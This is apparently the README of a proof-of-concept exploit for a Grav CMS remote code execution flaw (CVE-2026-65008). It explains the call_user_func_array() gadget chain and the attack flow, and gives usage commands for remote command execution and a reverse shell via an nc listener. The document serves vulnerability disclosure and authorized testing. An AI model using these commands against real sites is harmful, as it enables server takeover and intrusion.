CVE-2026-65008 — Grav CMS < 2.0.7 Authenticated RCE

Proof-of-concept for CVE-2026-65008: authenticated remote code execution in Grav CMS via unrestricted call_user_func_array() in Blueprint::dynamicData().

A user with admin.pages (or api.pages.write) can plant a malicious form frontmatter. The payload then executes as the web-server user when any visitor (including unauthenticated) loads the page.

Authorized testing only. Use solely on systems you own or have explicit written permission to test.

Credits

CVE: https://www.cve.org/CVERecord?id=CVE-2026-65008

Root cause

Blueprint::dynamicData() passes an attacker-controlled Class::method callable and arguments to PHP call_user_func_array() with no allowlist. Combined with Grav\Common\Utils::arrayFilterRecursive as a trampoline, this reaches system() / passthru / etc.

Patched in Grav 2.0.7+.

CVSS

9.8 CRITICAL — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Requirements

• Python 3.10+
• requests

Install:

pip install -r requirements.txt

Usage

Command execution

python3 exploit.py -u http://TARGET -U admin -P 'password' -c "id"

Reverse shell

Start listener first:

nc -lvnp 4444

Then:

python3 exploit.py -u http://TARGET -U admin -P 'password' --lhost YOUR_IP --lport 4444

Arguments

Flow

1. Login to /admin (extract login-nonce)
2. Obtain admin_nonce from admin panel
3. Save a page whose frontmatter contains the data-opts@: gadget
4. Trigger with unauthenticated GET → RCE as www-data

Disclaimer

This project is for educational and authorized security research only. The author is not responsible for misuse. Always obtain written permission before testing third-party systems. The original vulnerability was disclosed through the vendor advisory; this repository only demonstrates lab reproduction.

References

• https://github.com/getgrav/grav/security/advisories/GHSA-fj2p-qj2f-74v5
• https://nvd.nist.gov/vuln/detail/CVE-2026-65008
• https://www.cve.org/CVERecord?id=CVE-2026-65008

License

For research use. No warranty.